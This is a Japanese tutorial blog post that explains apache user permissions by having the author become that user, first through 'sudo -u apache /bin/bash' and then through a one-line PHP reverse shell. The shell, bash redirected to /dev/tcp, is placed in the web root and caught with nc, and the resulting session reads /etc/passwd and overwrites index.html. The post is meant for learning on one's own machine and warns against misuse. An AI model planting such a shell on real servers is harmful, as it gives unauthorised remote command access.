何の記事
ファイルアップローダを作るとよく起こる permission ありませんエラー。
SEになって最初の頃、これがどういうことなのかわからなかった。
apacheになれれば、書き込めない状態がどうなってるかを理解できるのに。
そう思っていたのでこの記事を書きました。
*この記事には良くない使い方ができてしまうことが書いてあります。利用は自分だけの環境で。悪用しないでください。
<1> apache userになる方法 Linux編
普通にapacheをinstallするとlinux上にapacheユーザが作られます。
しかし、apacheユーザとしてのloginはセキュリティ的に禁止されています(解除することはできる)
[root@my.example.com:/var/www/html#] su apache
This account is currently not available.
理由はだいたい linux の nologin を使ってloginできないようにしています。
# ] cat /etc/passwd | grep apache
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
または /etc/nologin がある。
そこらへんいじれば無理やり login することも可能です。↓は /etc/passwd でlogin shellをnologinにされてる場合の回避方法。
root@example.com:/# sudo -u apache /bin/bash
apache@example.com:/$ <----ユーザが変わった
ここらへんは linux nologin とかでぐぐればわかります。
ちなみにこのapacheユーザの環境変数には、sudo前のユーザの環境変数が混ざっています
apache@my.example.com:/tmp$ env | sort
...
MAIL=/var/spool/mail/root
SUDO_USER=root
USER=apache
USERNAME=apache
...
apacheになったのにrootの環境変数が残っているのがわかります。
sudoって、変身前のユーザの環境変数を env_keep
という設定である程度引き継ぐことができるんですね。
参考 https://qiita.com/chroju/items/375582799acd3c5137c7
<2> apache userになる方法 phpからapacheになりきる編
さっきのはlinux的にapache userとして login しましたが、phpファイル経由でapacheユーザになってみるということをしてみます。
local userとphpファイルが使えるとこんなこともできるという話を始めます。
*悪用しないでください
*決して公開サーバで試さないでください
*終わったら作ったファイルは消してください
作業はすべて webサーバ上で行います。
php-reverse-shellというツールをwebサーバの公開ディレクトリに置いておきます。
[root@my.example.com:/var/www/html#] wget https://gist.githubusercontent.com/rshipp/eee36684db07d234c1cc/raw/9907b98ec63c6ad9bf5f39d14d07d9a3765f9079/shell.php
[root@my.example.com:/var/www/html#] ls shell.php
shell.php
phpファイルの中身はたった1行→ https://gist.github.com/rshipp/eee36684db07d234c1cc
IPアドレス(10.0.0.10)の部分を あなたのwebサーバのIPアドレスに変えます。
vim shell.php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
shellが来たら受け取れるように準備します。下記コマンドを叩くと動きが止まりますがそれで成功しています。
[root@my.example.com:/var/www/html#] nc -lvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
ブラウザからshell.phpにアクセスしてみます。
これの意味するところは、phpを動かすapache userの権限でphp fileを実行するということです。
別のshellがあれば、curl/wgetでもいいです。
# ncを叩いたのとは違うshell
[root@my.example.com:/var/www/html#] curl localhost/shell.php
アクセスするとbashが起動する
Ncat: Connection from 10.1.2.3.
Ncat: Connection from 10.1.2.3:40678.
bash: no job control in this shell
bash-4.2$
Viola!
nc -lvp 1234P
で待っていたシェルに動きがありました。何が起こったのか確認してみましょう。
自分がapacheになっています。
bash-4.2$ whoami
whoami
apache
groupもapacheです。
bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
自分はどこにいるの? 引き続きwebサーバの中です。
bash-4.2$ hostname
hostname
my.example.com
サーバのIPがわかります。
bash-4.2$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP>
inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
inet 10.1.2.3/21 brd 10.1.0.0 scope global dynamic eth0
カレントディレクトリはここです。これはapacheのDocument_Rootを見ているのだろうか?
bash-4.2$ pwd
pwd
/var/www/html
ファイルも見れます。
bash-4.2$ ls -l
ls -l
total 1128
-rw-r--r-- 1 apache apache 2 Mar 29 2019 index.html
-rw-r--r-- 1 root root 75 Jul 13 10:42 shell.php
ownerがapache or 書き込み権限があるファイルは書き換えられます。
bash-4.2$ echo ZZZZZZZZZZZZZZ > index.html
bash-4.2$ cat index.html
ZZZZZZZZZZZZZZ
/etc/passwdも見れます。
bash-4.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:Syste
~
/etc/shadow(linux userのパスワードが保存されている) は見れません
bash-4.2$ cat /etc/shadow
cat /etc/shadow
cat: /etc/shadow: Permission denied
当然ながら /etc/shadow を書き換える権限はありません
bash-4.2$ echo 1 > /etc/shadow
echo 1 > /etc/shadow
bash: /etc/shadow: Permission denied
sudoはできません
bash-4.2$ sudo yum install sl
sudo yum install sl
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
sudo: no tty present and no askpass program specified
ここからsudoを叩けたり、rootになれたりするのが脆弱性と呼ばれるものです。
env を見てみましょう。
bash-4.2$ env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
_=/usr/bin/env
PWD=/var/www/html
LANG=C
NOTIFY_SOCKET=/run/systemd/notify
SHLVL=3
_=/usr/bin/env
めっちゃシンプルです。
一通りデバッグが終わったら、 shell.php
を 必ず削除 しておきましょう。
まとめ
apacheユーザはコマンドを叩けるし、非公開なファイルを見れることがわかったと思います。
たった1行のphpだけで、sudoも、 /etc/passwd
も /etc/sudoers
の書き換えもせず、ログインできる状態になってしまいました。
適切なセキュリティを常に意識しておきましょう。あれ、趣旨が変わっている。
おわり。